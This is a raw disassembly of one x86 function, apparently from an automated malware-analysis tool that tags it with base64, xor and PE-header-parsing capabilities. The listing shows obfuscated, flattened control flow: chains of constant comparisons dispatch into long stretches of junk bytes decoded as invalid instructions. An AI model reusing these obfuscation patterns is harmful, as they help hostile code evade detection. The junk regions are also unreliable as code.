Function at 0x6da3dfac
Capabilities:
Encode data using base64
Encode data using xor
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x9c
mov dword [ebp - 0x18], 0x6b669
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0x138af
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x20]
mov edx, eax
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x18]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x18]
mul dword [ebp - 0x20]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x28]
xor eax, 0x32e6a9c7
mov edx, dword [ebp - 0x24]
xor edx, 8
or eax, edx
je 0x6da4fb6a
mov edx, 0x32e6a9c7
mov eax, 8
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0xeac2e
or eax, dword [ebp - 0x24]
je 0x6da42835
mov edx, 0xeac2e
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0xe5040
or eax, dword [ebp - 0x24]
je 0x6da4b505
mov edx, 0xe5040
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0xd1486
or eax, dword [ebp - 0x24]
je 0x6da49d8d
mov edx, 0xd1486
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0xd01d2
or eax, dword [ebp - 0x24]
je 0x6da4e3f5
mov edx, 0xd01d2
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0xb2cc3
or eax, dword [ebp - 0x24]
je 0x6da410bd
mov edx, 0xb2cc3
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0x92a79
or eax, dword [ebp - 0x24]
je 0x6da45725
mov edx, 0x92a79
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0x7c97e
or eax, dword [ebp - 0x24]
je 0x6da3f945
mov edx, 0x7c97e
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0x4f120
or eax, dword [ebp - 0x24]
je 0x6da43fad
mov edx, 0x4f120
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0x3a7da
or eax, dword [ebp - 0x24]
je 0x6da46e9d
mov edx, 0x3a7da
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor eax, 0x2f519
or eax, dword [ebp - 0x24]
je 0x6da48615
mov edx, 0x2f519
mov eax, 0
cmp edx, dword [ebp - 0x28]
sbb eax, dword [ebp - 0x24]
jl 0x6da4fb6d
mov eax, dword [ebp - 0x28]
xor al, 0xeb
or eax, dword [ebp - 0x24]
je 0x6da3e1cd
mov eax, dword [ebp - 0x28]
xor eax, 0x10eeb
or eax, dword [ebp - 0x24]
je 0x6da4cc7d
jmp 0x6da4fb6d
stosw word es:[edi], ax
mov es, word [esp + ebx*8]
in al, 0xbc
xor dword [ebx + 0x55], eax
les edx, [edx + eax*8 + 0xc029991]
invalid
sar ah, 1
sbb dword [ebp + 0x97cef01], eax
mov bl, 0xb0
xchg ebp, eax
jmp 0x40442960
xchg byte [ebp + 0x40], bl
or al, 0x78
int 0x8e
sub byte [ecx], ch
movsb byte es:[edi], byte es:[esi]
invalid
mov dl, 0x88
mov bl, 0x88
dec ebp
mov ebx, 0xbd834b44
xchg esp, eax
call 0xeca19bbb
mov ah, 0x4d
jl 0x6da42869
in al, 0xa0
test al, 0x7b
ja 0x6da4285c
jmp 0xeca9ab3
push ds
wait
popfd
inc ecx
or byte [esi - 0x46c11d5d], 0x6d
dec ecx
pop edi
inc ebx
into
cmp esi, dword [edi]
xchg edi, eax
aad 3
sub byte [edx], al
mov eax, dword [0x7f40ae74]
fistp dword [eax]
xchg edi, eax
inc esi
pushfd
mov ds, word [ebx + 0x7040aaa8]
and byte [esi], 0xe
push cs
pop edx
cld
enter 0xffffffffffffc1d8, 0x24
loop 0x6da42806
mov ds, esi
cwde
push 0x8a35b1a1
push eax
pop edx
pop ecx
aam 0x66
hlt
xlatb
aam 0x6f
cmp dword [eax - 0x77], ebp
mov ecx, 0x597c2459
mov al, 0x5a
mov esp, 0xa9fbaa3f
out 0x8d, eax
push edx
push 0x5f
invalid
insb byte es:[edi], dx
int3
ror byte [ecx - 0x52c23e93], 0xab
inc eax
in eax, 0x60
outsd dx, dword [esi]
iretd
adc byte [ebx], ah
ror byte [ecx - 0x14], cl
stc
pop es
int 0x78
out 0x23, eax
dec ebp
scasb al, byte es:[edi]
nop
push 0xffffffffffffffb2
and cl, byte [ecx]
jecxz 0x6da45711
pushfd
sbb esp, 0xa968a796
sub dword [edx], esp
pop esp
push 0x5c2229a9
jge 0x6da456d9
push esi
jle 0x6da457b0
xchg ebx, eax
push ecx
add al, 0x1b
lodsb al, byte [esi]
imul esp, dword [eax - 0x12f8abb8], 0xffffffe4
call 0x235b8473
xchg ecx, eax
jg 0x6da45777
jp 0x6da45739
fdisi8087_nop
fidivr word [eax + 0x3b]
loope 0x6da4573e
js 0x6da4579d
outsd dx, dword [esi]
hlt
fmul qword [esi]
pop edx
sub al, 0xbe
dec ebx
popfd
mov bl, pe_nt_image_headers32
jecxz 0x6da4575d
xor byte [eax + ebx*8 + 0x22], bh
adc esp, eax
cmp al, 0x74
mov dh, 0xe4
and al, 0xd2
mov cl, 0x92
or al, 0xe3
mov ebx, 0x9695adcd
dec edx
or eax, dword [ecx + eax*4 - 0x1fd08591]
shl bl, 0x4e
sub dword [edi + 0x7a], 0xe3c0e02f
dec esi
das
loopne 0x6da45760
jecxz 0x6da457f0
mov esp, 0x56480cf5
sar byte cs:[edx - 0x4b], cl
imul ebx, dword [ebp - 0x26a1b7ca], 0x38cb0a60
jg 0x6da4579a
fldenv [eax + 0xa]
retf
push 0x2ddbf2cf
and cl, byte [ecx + esi*4 + 0x46bd5435]
xchg byte [0xf0227fb2], cl
or eax, 0xf0227fb2
cli
push 0xffffffffffffffbe
add bh, byte [ebp + edi*4 + 0x40]
out 0xfc, eax
imul esi, dword [eax + 2], 0xe66b3218
jge 0x6da45808
sar dword [edi - 0x36], 1
sal byte [ebx - 0xf3ffcae], 1
out 0x22, eax
mov byte [0xcdac80cb], dh
push ss
idiv dh
lodsd eax, dword [esi]
inc esp
pop ds
nop
int3
mov edi, 0x8bb51aa9
adc ah, byte [edx + 0x49]
stc
retf
sbb cl, bl
push esp
cld
push eax
shl byte [edi - 0x7f], cl
or bh, 0x88
jl 0x6da457fe
pop es
scasb al, byte es:[edi]
jecxz 0x6da457c4
ficomp word [edi]
mov word [edi + 0xb], gs
ljmp 0x2ecb
loopne 0x6da46ece
push 0xffffffffffffffad
mov dl, 0xdf
popfd
int3
retf 0x5f21
arpl cx, ax
ljmp 0xf6ab
fld qword [edx + ebx*4]
mov edi, 0xd89b6145
mov cl, 0xb9
sub dword [eax + 0x6c485bfa], 0x4923b44c
mov ecx, 0xdf6589f9
xchg edi, eax
int1
mov bh, 0x81
jo 0x6da485fc
cmp esp, ecx
imul dword [ecx + 0x54a098bd]
mov ch, 0x82
pop ds
ret 0x6893
mov edx, 0x4bc5b435
movsd dword es:[edi], dword [esi]
ljmp 0xe518
popfd
invalid
nop
int3
jns 0x6da4cc76
cmpsd dword [esi], dword es:[edi]
xor byte [eax - 0x64c40ec2], bh
ret 0x69b5
movsb byte es:[edi], byte [esi]
ret
nop
jmp 0x6da4fb6e
nop
mov eax, dword [ebp + 0x10]
mov dword [esp], eax
call fcn.6da102cd
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x38], 0xc9ffb
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x40], 0xc1c36
mov dword [ebp - 0x3c], 0
mov ecx, dword [ebp - 0x38]
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x48]
xor eax, 0x18bc31
or eax, dword [ebp - 0x44]
je 0x6da62ebe
mov edx, 0x18bc31
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0xcd874
or eax, dword [ebp - 0x44]
je 0x6da61749
mov edx, 0xcd874
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0xc7dcc
or eax, dword [ebp - 0x44]
je 0x6da4fda9
mov edx, 0xc7dcc
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0xc6cd5
or eax, dword [ebp - 0x44]
je 0x6da5ffd1
mov edx, 0xc6cd5
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0xaea2c
or eax, dword [ebp - 0x44]
je 0x6da5a1f1
mov edx, 0xaea2c
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x90771
or eax, dword [ebp - 0x44]
je 0x6da55b89
mov edx, 0x90771
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x7ed7a
or eax, dword [ebp - 0x44]
je 0x6da54411
mov edx, 0x7ed7a
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x563a8
or eax, dword [ebp - 0x44]
je 0x6da5e859
mov edx, 0x563a8
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x50238
or eax, dword [ebp - 0x44]
je 0x6da58a79
mov edx, 0x50238
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x36821
or eax, dword [ebp - 0x44]
je 0x6da5b969
mov edx, 0x36821
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x25a1e
or eax, dword [ebp - 0x44]
je 0x6da5d0e1
mov edx, 0x25a1e
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x1dd5a
or eax, dword [ebp - 0x44]
je 0x6da57301
mov edx, 0x1dd5a
mov eax, 0
cmp edx, dword [ebp - 0x48]
sbb eax, dword [ebp - 0x44]
jl 0x6da62ec1
mov eax, dword [ebp - 0x48]
xor eax, 0x14b0b
or eax, dword [ebp - 0x44]
je 0x6da52c99
mov eax, dword [ebp - 0x48]
xor eax, 0x1ac2e
or eax, dword [ebp - 0x44]
je 0x6da51521
jmp 0x6da62ec1
push ebp
invalid
imul ecx, dword [edi - 0x4e5a0df9], 0xebf9709e
outsd dx, dword [esi]
retf
out dx, al
adc ebp, dword [esp + ebp*4 + 0x6c]
fld qword [eax]
sub bl, bl
mov ebx, 0xe6871eae
inc esp
and ebx, dword [ecx]
pop ecx
push ss
pop es
mov esp, 0xcb68d296
and byte [ebp + 0xefa8f15], bh
push esi
or cl, byte [eax - 0x15]
stc
push edi
xchg ebp, eax
fistp word [edi - 0x7b3b178b]
rol bh, 1
or bl, byte [ecx + 0xd]
mov dh, 0xf3
int 0x12
salc
add byte [edi], dh
sbb byte [esi], ah
invalid
packsswb mm4, qword [edi + 0x3d]
dec ecx
mov dl, 0x79
invalid
scasb al, byte es:[edi]
fimul dword [esi]
aaa
push ss
inc eax
xchg esi, eax
invalid
rcr dword [ecx + 0x504e6474], 1
sbb bl, al
lahf
lodsb al, byte fs:[esi]
inc esp
adc al, 0x15
rol ecx, 0x3e
imul edi, dword gs:[esi - 0x71], 0x66
sub al, 0xd6
dec eax
nop
int3
test eax, 0x8abf9df6
jmp 0x6da572e1
int1
pop edi
mov eax, cs
lcall 0xd456, 0xb68710c9
mov ebx, 0x3eb44de
je 0x6da58a92
jne 0x6da58af3
xor dword [edx], esp
invalid
loop 0x6da58aa9
sub dword [ecx + 0x295245cf], ecx
mov ah, dl
cmp eax, 0xa59cfd77
mov ah, 0x49
outsd dx, dword [esi]
mov dword [0x2d20c642], eax
and eax, 0x627d4c10
mov eax, 0x7173ac94
mov ebx, 0x95432948
and byte [esi - 0x51a1fd1c], cl
sbb cl, byte [0xc2fe9486]
imul esp, esp, 0xc7c9cb55
outsd dx, dword [esi]
or bl, byte [esi + ecx*4 + 0x581a6a44]
sub eax, 0xf545aaa5
cmpsd dword [esi], dword es:[edi]
inc eax
sal dword [ecx + 0xf8107ec], 0xcf
wait
mov eax, dword [0x6bec0a4b]
push edx
aas
mov ecx, 0x4bd9006d
outsb dx, byte [esi]
or bl, byte [ecx - 0x2d]
push 0x28
adc al, 0x3a
jmp 0x6a805fdf
add ebp, esp
dec ebx
xchg byte [esi], bl
fnstenv [edi - 0x82c92b7]
pop ebp
fist dword [ebx + 1]
xchg ebx, eax
add eax, dword [ecx - 0x2886b5c]
hlt
dec esp
call 0x5292beca
int1
insb byte es:[edi], dx
leave
push ss
sub dl, byte [edi]
push edi
int3
jmp 0x6da5b8d7
mov dword [0x6e60a3a2], eax
sbb bl, byte [esi + 0x5e]
xor al, 0xd
and bh, byte [esi]
add esp, dword [0xda73a348]
adc edi, dword [edx - 0x24]
jmp 0x6da5b942
pushfd
les edx, [edi + 0x1d173b77]
pop ds
pop esi
jmp 0x5c7f2850
aam 0xd0
sar dword [eax], cl
mov esi, 0xc80f0ac3
dec edi
mov byte [eax], 0xec
ficom word [edi + 0x603882a9]
push 0xffffffffffffff89
inc esp
sti
invalid
xchg esp, eax
movsb byte es:[edi], byte [esi]
xchg esp, eax
mov ecx, 0x93c367cc
and al, 0xaa
js 0x6da60046
jns 0x6da5fffa
mov dh, byte [edx]
psrlw mm1, qword [ecx + 0x6cfa0fe7]
insb byte es:[edi], dx
insb byte es:[edi], dx
ljmp 0xe37b
jge 0x6da5ffd2
fisub word [edi - 0x21]
and al, 0xf0
sub byte [esi], bh
fdivr qword [eax + 0x54]
inc edi
invalid
inc edi
jg 0x6da5ffe8
insb byte es:[edi], dx
insd dword es:[edi], dx
or al, 0xe3
mov eax, 0x12fcedf8
leave
inc edi
test dword [edi + 0x48], ebp
pop ebx
mov gs, word [edx + eax]
xchg ebp, eax
mov ah, 0xcf
loopne 0x6da600a0
jp 0x6da600d5
invalid
inc esi
jmp 0x6b465972
popfd
inc esi
jmp 0x28ce5d7e
pop esi
hlt
nop
jmp 0x6da62ec2
nop
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x50], 0xb69fa
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x58], 0x63b71
mov dword [ebp - 0x54], 0
mov eax, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x58]
sbb edx, dword [ebp - 0x54]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x60]
xor eax, 0xae34b
or eax, dword [ebp - 0x5c]
je 0x6da6761d
mov edx, 0xae34b
mov eax, 0
cmp edx, dword [ebp - 0x60]
sbb eax, dword [ebp - 0x5c]
jl 0x6da6a50a
mov eax, dword [ebp - 0x60]
xor eax, 0x9ea67
or eax, dword [ebp - 0x5c]
je 0x6da68d95
mov edx, 0x9ea67
mov eax, 0
cmp edx, dword [ebp - 0x60]
sbb eax, dword [ebp - 0x5c]
jl 0x6da6a50a
mov eax, dword [ebp - 0x60]
xor eax, 0x52e89
or eax, dword [ebp - 0x5c]
je 0x6da6a50d
mov edx, 0x52e89
mov eax, 0
cmp edx, dword [ebp - 0x60]
sbb eax, dword [ebp - 0x5c]
jl 0x6da6a50a
mov eax, dword [ebp - 0x60]
xor eax, 0x449cc
or eax, dword [ebp - 0x5c]
je 0x6da62fb5
mov edx, 0x449cc
mov eax, 0
cmp edx, dword [ebp - 0x60]
sbb eax, dword [ebp - 0x5c]
jl 0x6da6a50a
mov eax, dword [ebp - 0x60]
xor eax, 0x56c5
or eax, dword [ebp - 0x5c]
je 0x6da65ea5
mov eax, dword [ebp - 0x60]
xor eax, 0x15c63
or eax, dword [ebp - 0x5c]
je 0x6da6472d
add cl, ch
push ebp
jne 0x6da62fb4
jmp 0x6da6a50a
add byte [eax], bl
psubw mm1, qword [ebx - 0x62]
sbb byte [edi], cl
stc
dec ebx
sahf
cmp byte [ebp - 0x5115d541], al
mov bl, byte [eax + 8]
mov cs, word [esi - 0x334c4de3]
stosb byte es:[edi], al
xor dh, byte [esi - 0x5b]
cdq
rol byte [ecx - 0x6b], 1
dec esi
sar byte [ebp + 0x287b21d2], 1
xchg esp, eax
adc ebp, dword [edx]
xor ebx, dword [eax - 0x66]
xchg edi, eax
imul eax, dword [esi], 0xffffffbf
push edi
in eax, 0x16
mov ah, dl
insb byte es:[edi], dx
xor eax, 0xb470fb8
imul ecx, dword [esi], 0x7358e1cc
rcl dword [esi + 0x29540ba], cl
repe scasd eax, dword es:[edi]
push ds
dec ebx
or dh, byte [ecx + 0x37]
and ecx, dword [edi + 0x40824cfb]
sahf
xor edx, dword [edi + 0x71815c7b]
loope 0x6da62faf
out dx, eax
sub byte [ecx + 0x5c], dh
pop ds
pop ebx
xchg edi, eax
fiadd dword [ebp + 0x61]
in al, 0x9c
les edi, [ecx + 0x4e7e6976]
mov dh, 0xf0
mov al, 0xcb
and ch, al
invalid
in al, 0x55
sar ecx, 0x67
pop ecx
mov ch, 0x2f
stosd dword es:[edi], eax
mov cl, 0x99
inc edx
cdq
push ebx
mov edx, dword [ebp + ebx*4 + 0x5a]
add cl, byte [eax - 0x37]
invalid
mov ebp, 0x571d0ed8
outsd dx, dword [esi]
inc ecx
mov edi, 0x3c9bdcc6
xchg esp, ebx
inc eax
scasd eax, dword es:[edi]
leave
mov eax, 0x813221f8
and edi, eax
in eax, 0x76
inc ebx
ljmp 0xf3f7
fnstsw word [eax]
outsd dx, dword [esi]
aaa
loop 0x6da6768a
retf 0x5479
mov edx, 0x8da7810d
sbb ecx, dword [eax + 0x35c2f54a]
lodsd eax, dword [esi]
sar dword [ecx - 0x6a], 1
sar dword [eax + 0x7f56d604], 1
sar dword [ebp - 0x7ee299f4], 1
int3
stosd dword es:[edi], eax
mov word [edi + 0x2e], cs
cwde
push esi
outsb dx, byte [esi]
invalid
nop
jmp 0x6da6a50e
nop
mov dword [ebp - 0x10], 0
jmp 0x6da9b1f3
mov dword [ebp - 0x68], 0x91ad0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x70], 0xa2969
mov dword [ebp - 0x6c], 0
mov ecx, dword [ebp - 0x68]
mov ebx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov eax, dword [ebp - 0x78]
xor eax, 0x134439
or eax, dword [ebp - 0x74]
je 0x6da836d4
mov edx, 0x134439
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0xe5f1c
or eax, dword [ebp - 0x74]
je 0x6da6ee47
mov edx, 0xe5f1c
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0xc8978
or eax, dword [ebp - 0x74]
je 0x6da705bf
mov edx, 0xc8978
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0xa679f
or eax, dword [ebp - 0x74]
je 0x6da7c17f
mov edx, 0xa679f
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x9ac61
or eax, dword [ebp - 0x74]
je 0x6da7f06f
mov edx, 0x9ac61
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x9a183
or eax, dword [ebp - 0x74]
je 0x6da77b17
mov edx, 0x9a183
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x94230
or eax, dword [ebp - 0x74]
je 0x6da6bf57
mov edx, 0x94230
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x93815
or eax, dword [ebp - 0x74]
je 0x6da807e7
mov edx, 0x93815
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x844f0
or eax, dword [ebp - 0x74]
je 0x6da7d8f7
mov edx, 0x844f0
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x7e402
or eax, dword [ebp - 0x74]
je 0x6da7928f
mov edx, 0x7e402
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x75626
or eax, dword [ebp - 0x74]
je 0x6da71d37
mov edx, 0x75626
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x749e8
or eax, dword [ebp - 0x74]
je 0x6da74c27
mov edx, 0x749e8
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x5e4bb
or eax, dword [ebp - 0x74]
je 0x6da734af
mov edx, 0x5e4bb
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x4254b
or eax, dword [ebp - 0x74]
je 0x6da6d6cf
mov edx, 0x4254b
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov eax, dword [ebp - 0x78]
xor eax, 0x32207
or eax, dword [ebp - 0x74]
je 0x6da7639f
mov edx, 0x32207
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
add byte [ebx], bh
push ebp
mov byte [ebx], bl
inc ebp
mov word [edi], cs
mov word [edx - 0x71], es
add dword [eax], eax
mov eax, dword [ebp - 0x78]
xor eax, 0x30c7d
or eax, dword [ebp - 0x74]
je 0x6da81f5f
test byte [ecx - 0x45fffe89], bh
jge 0x6da6a7b5
mov edx, 0x30c7d
add eax, dword [eax]
mov eax, 0
cmp edx, dword [ebp - 0x78]
sbb eax, dword [ebp - 0x74]
jl 0x6da836d7
mov word [edi], cs
mov word [ebx], ds
pop dword [ecx]
add byte [ebx + 0x27358845], cl
and eax, dword [edx]
add byte [ebx], cl
inc ebp
invalid
mov eax, dword [ebp - 0x78]
xor eax, 0x22327
or eax, dword [ebp - 0x74]
je 0x6da6a7df
mov eax, dword [ebp - 0x78]
xor eax, 0x2a9cf
or eax, dword [ebp - 0x74]
je 0x6da7aa07
jmp 0x6da836d7
add byte [ebx], bl
invalid
sbb eax, esp
ffree st(1)
cmc
adc byte [ecx], bl
jp 0x6da6a85a
jo 0x6da6a7a1
mov ch, ah
mov esi, 0x62515304
sahf
clc
sbb dword [esp + ebx*4], edx
stosd dword es:[edi], eax
dec ebp
push edx
and byte [eax + 0x1efafa8b], 0xc4
jg 0x6da6a788
bound ebx, qword [ebx + ebx*2 + 0x18d6721]
cmp eax, 0x822aa446
stosb byte es:[edi], al
mov ecx, es
cld
cmpsb byte [esi], byte es:[edi]
invalid
movsd dword es:[edi], dword [esi]
dec esp
cmp eax, 0xf682f5b7
bound esi, qword [0xef162093]
inc eax
invalid
pop edi
jbe 0x6da6a825
adc ebx, edx
xchg ecx, eax
dec ebx
jmp 0x6da6a7de
imul edi, dword [edx + 0x6c], 0xffffffdd
xchg ebp, eax
in eax, dx
xchg edx, eax
jbe 0x6da6a8d2
clc
cmp eax, 0xd00aecb8
add al, 0xe2
or cl, byte [ecx - 0x13653bcb]
loop 0x6da6a8c4
out dx, eax
xor dword [edx - 0x38daff64], edi
adc edi, dword [0x3667439e]
push ecx
loopne 0x6da6a837
pop ebp
fst st(5)
adc al, 0xce
xor edi, esi
sahf
imul ebp, dword [edi + 0xd], 0x9f7e6320
movsd dword es:[edi], dword [esi]
out dx, al
adc cl, byte [edx - 0x3f120805]
pop edi
and ecx, dword [esi - 0x2d]
dec eax
sbb al, 0x86
xlatb
and dl, ah
bound edx, qword [eax - 0x6f97f8be]
retf
stc
pop ebx
int3
xor dword [eax], esp
push 0x65
pop eax
pop eax
stosd dword es:[edi], eax
mov ah, 0x99
mov ch, 0xe7
cmpsb byte [esi], byte es:[edi]
setge byte [edi]
sahf
add dh, byte [edx + 0x1ce3fe6b]
jl 0x6da6a945
add dh, byte [ebp - 0x7268eb5b]
jge 0x6da6a953
sub edi, 0x4925b3d5
rol byte [edx - 0x238961c3], 1
mov dh, cl
jbe 0x6da6a8cf
aas
inc ecx
stosb byte es:[edi], al
inc edi
push es
clc
ja 0x6da6a8d9
or al, 0x54
jl 0x6da6a981
xchg edi, eax
wait
lea ebx, [edx + 0x236b6369]
pop es
mov word [ebx], gs
int3
sbb dword [esi], ebx
pop ss
or al, 0x96
xchg ebp, eax
cmp eax, 0x8e166374
imul ecx, dword [edx - 0x53], 0xf38e1daf
sbb edx, dword [ebp + edi*4 - 0x7a89e329]
je 0x6da6a996
push ss
mov gs, word [ecx + 0x4a]
lodsd eax, dword [esi]
scasd eax, dword es:[edi]
sbb eax, 0x941bf38e
mov ebp, 0x85761cd7
pop esi
outsb dx, byte [esi]
sub ebx, dword [ebx]
cmp dword [ebx], esp
scasb al, byte es:[edi]
dec eax
aaa
and al, 5
stosb byte es:[edi], al
mov edi, edx
and esi, dword [ebp*4 - 0x49561e59]
push eax
xor al, 0xad
cmpsd dword [esi], dword es:[edi]
loope 0x6da6a901
mov dh, 0x50
xchg dword [edx + 0x5b], ebx
dec edx
jle 0x6da6a92a
mov byte [ecx + 0x69], bl
mov al, 0xa7
clc
sub eax, 0x58bdc62b
add edi, dword [edx + 0x2d]
fst dword [ebp + esi*4 - 0xc]
push ss
imul esp, dword [edi], 0xffffffab
push 0xffffffffffffff90
push edx
and bh, byte [ebp - 0x70]
int3
jnp 0x6da6a931
add ecx, eax
sub bh, cl
push edi
pop ds
fdivr dword [ebp + 0x122837d]
invalid
mov ecx, es
rcr dword [edx + 0x21b90d07], 1
scasd eax, dword es:[edi]
pop edx
aaa
popfd
sbb dword [edx - 0x4f320dd], 0xffffffaf
jne 0x6da6a983
sbb dword es:[edx], eax
add al, 0xb2
mov dl, 0x35
in eax, 0x7a
pop esi
scasb al, byte es:[edi]
inc esp
add dword [ecx], esi
sub eax, dword [esi + 0x61]
retf 0xa4de
xor al, 0x9b
jmp 0x5e4424f6
push ss
mov dh, 0xba
jg 0x6da6bede
aas
jle 0x6da6bfa8
xor cl, byte [edi + 0x74]
or al, byte [ecx + 0x4b219645]
mov ebp, 0xac66a9a9
xchg byte [ecx], bh
jecxz 0x6da6bf83
ret 0x1470
mov cl, byte [edi]
mov ax, 0xe071
inc ebx
jmp 0x6da6bffe
mov ecx, 0x263fc143
xor byte [bp + di], 0xaa
mov dh, 0x5d
jb 0x6da6c001
fst dword [edx + 0x328a7092]
dec esi
invalid
sbb ecx, dword [ebx + esi*2 + 0x7f]
and ecx, esp
out dx, eax
neg dh
sbb byte [0xd72f4964], bh
add eax, 0xd42854aa
dec esp
sub byte [eax - 0x38], ah
xlatb
cmp esi, edi
popfd
pop esp
in eax, 0xdf
test eax, 0xc91108bb
movsb byte es:[edi], byte [esi]
pop ecx
hlt
test eax, 0x9d82203d
